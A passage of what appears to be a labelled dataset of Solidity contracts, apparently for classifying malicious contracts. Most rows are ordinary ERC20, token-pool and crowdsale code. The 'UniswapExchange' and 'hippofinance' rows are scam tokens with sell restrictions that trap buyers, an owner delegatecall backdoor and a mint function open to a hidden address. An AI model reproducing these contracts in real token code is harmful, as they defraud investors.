this.buyOne(ERC20(_tokens[1]), _exchanges[1], _values[1], _data2);
this.buyOne(ERC20(_tokens[2]), _exchanges[2], _values[2], _data3);
}
} | 1 | 5,364 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,246 |
pragma solidity 0.4.24;
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface ITokenPool {
function balanceOf(uint128 id) public view returns (uint256);
function allocate(uint128 id, uint256 value) public;
function withdraw(uint128 id, address to, uint256 value) public;
function complete() public;
}
contract TokenPool is ITokenPool, Ownable {
using SafeMath for uint256;
IERC20 public token;
bool public completed = false;
mapping(uint128 => uint256) private balances;
uint256 public allocated = 0;
event FundsAllocated(uint128 indexed account, uint256 value);
event FundsWithdrawn(uint128 indexed account, address indexed to, uint256 value);
constructor(address tokenAddress) public {
token = IERC20(tokenAddress);
}
function balanceOf(uint128 account) public view returns (uint256) {
return balances[account];
}
function allocate(uint128 account, uint256 value) public onlyOwner {
require(!completed, "Pool is already completed");
assert(unallocated() >= value);
allocated = allocated.add(value);
balances[account] = balances[account].add(value);
emit FundsAllocated(account, value);
}
function withdraw(uint128 account, address to, uint256 value) public onlyOwner {
balances[account] = balances[account].sub(value);
uint256 balance = address(this).balance;
uint256 dividend = balance.mul(value).div(allocated);
allocated = allocated.sub(value);
token.transfer(to, value);
if (dividend > 0) {
to.transfer(dividend);
}
emit FundsWithdrawn(account, to, value);
}
function complete() public onlyOwner {
completed = true;
token.transfer(msg.sender, unallocated());
}
function () public payable {
require(completed, "Has to be completed first");
}
function unallocated() internal view returns (uint256) {
return token.balanceOf(this).sub(allocated);
}
} | 1 | 5,427 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract hippofinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,208 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Rays is ERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) private allowed;
uint256 internal totalSupply_;
event Burn(address indexed burner, uint256 value);
string public name = "Rays Network";
string public symbol = "RAYS";
uint8 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 500000000 * 10**18;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _mint(address _account, uint256 _amount) public onlyOwner {
require(_account != 0);
totalSupply_ = totalSupply_.add(_amount);
balances[_account] = balances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
function _burn(address _account, uint256 _amount) public onlyOwner {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
}
contract Crowdsale is Rays {
enum IcoStages {preSale, preIco, ico}
IcoStages Stage;
bool private crowdsaleFinished;
uint private startPreSaleDate;
uint private endPreSaleDate;
uint public preSaleGoal;
uint private preSaleRaised;
uint private startPreIcoDate;
uint private endPreIcoDate;
uint public preIcoGoal;
uint private preIcoRaised;
uint private startIcoDate;
uint private endIcoDate;
uint public icoGoal;
uint private icoRaised;
uint private softCup;
uint private totalCup;
uint private price;
uint private total;
uint private reserved;
uint private hardCup;
struct Benefeciary{
address wallet;
uint amount;
}
Benefeciary[] private benefeciary;
uint private ethersRefund;
constructor() public {
startPreSaleDate = 1534723200;
endPreSaleDate = 1536969600;
preSaleGoal = 60000000;
preSaleRaised = 0;
startPreIcoDate = 1534723200;
endPreIcoDate = 1538265600;
preIcoGoal = 60000000;
preIcoRaised = 0;
startIcoDate = 1534723200;
endIcoDate = 1546214400;
icoGoal = 80000000;
icoRaised = 0;
softCup = 6670 * 10**18;
hardCup = 66670 * 10**18;
totalCup = 0;
price = 1160;
total = preSaleGoal + preIcoGoal + icoGoal;
reserved = (70000000 + 200000000 + 5000000 + 25000000) * 10**18;
crowdsaleFinished = false;
}
function getCrowdsaleInfo() private returns(uint stage,
uint tokenAvailable,
uint bonus){
if(now <= endPreSaleDate && preSaleRaised < preSaleGoal){
Stage = IcoStages.preSale;
tokenAvailable = preSaleGoal - preSaleRaised;
total -= preSaleRaised;
bonus = 0;
} else if(startPreIcoDate <= now && now <= endPreIcoDate && preIcoRaised < preIcoGoal){
Stage = IcoStages.preIco;
tokenAvailable = preIcoGoal - preIcoRaised;
total -= preIcoRaised;
bonus = 50;
} else if(startIcoDate <= now && now <= endIcoDate && icoRaised < total){
tokenAvailable = total - icoRaised;
Stage = IcoStages.ico;
bonus = 0;
} else {
revert();
}
return (uint(Stage), tokenAvailable, bonus);
}
function evaluateTokens(uint _value, address _sender) private returns(uint tokens){
ethersRefund = 0;
uint bonus;
uint tokenAvailable;
uint stage;
(stage,tokenAvailable,bonus) = getCrowdsaleInfo();
tokens = _value * price / 10**18;
if(bonus != 0){
tokens = tokens + (tokens * bonus / 100);
}
if(tokenAvailable < tokens){
tokens = tokenAvailable;
ethersRefund = _value - (tokens / price * 10**18);
_sender.transfer(ethersRefund);
}
owner.transfer(_value - ethersRefund);
if(stage == 0){
preSaleRaised += tokens;
} else if(stage == 1){
preIcoRaised += tokens;
} else if(stage == 2){
icoRaised += tokens;
}
addInvestor(_sender, _value);
return tokens;
}
function addInvestor(address _sender, uint _value) private {
Benefeciary memory ben;
for(uint i = 0; i < benefeciary.length; i++){
if(benefeciary[i].wallet == _sender){
benefeciary[i].amount = benefeciary[i].amount + _value - ethersRefund;
}
}
ben.wallet = msg.sender;
ben.amount = msg.value - ethersRefund;
benefeciary.push(ben);
}
function() public payable {
require(startPreSaleDate <= now && now <= endIcoDate);
require(msg.value >= 0.1 ether);
require(!crowdsaleFinished);
totalCup += msg.value;
uint token = evaluateTokens(msg.value, msg.sender);
balances[msg.sender] = balances[msg.sender].add(token * 10**18);
balances[owner] = balances[owner].sub(token * 10**18);
emit Transfer(owner, msg.sender, token * 10**18);
}
function showParticipantWei(address _wallet) public view onlyOwner returns(uint){
for(uint i = 0; i < benefeciary.length; i++){
if(benefeciary[i].wallet == _wallet){
return benefeciary[i].amount;
}
}
return 0;
}
function burnUnsoldTokens() public onlyOwner icoHasFinished{
_burn(owner, balanceOf(owner).sub(reserved));
}
function crowdSaleStage() public view returns(string){
string memory result;
if(uint(Stage) == 0){
result = "Pre Sale";
} else if(uint(Stage) == 1){
result = "Pre-ICO";
} else if(uint(Stage) == 2){
result = "ICO";
}
return result;
}
function preSaleRaise() public view returns(uint){
return preSaleRaised;
}
function preIcoRaise() public view returns(uint){
return preIcoRaised;
}
function icoRaise() public view returns(uint){
return icoRaised;
}
modifier icoHasFinished() {
require(now >= endIcoDate || icoRaised == total || crowdsaleFinished);
_;
}
function endIcoByCup() public onlyOwner{
require(!crowdsaleFinished);
require(totalCup >= softCup && totalCup <= hardCup);
crowdsaleFinished = true;
}
function showAllFunds() public onlyOwner view returns(uint){
return totalCup;
}
} | 1 | 3,377 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
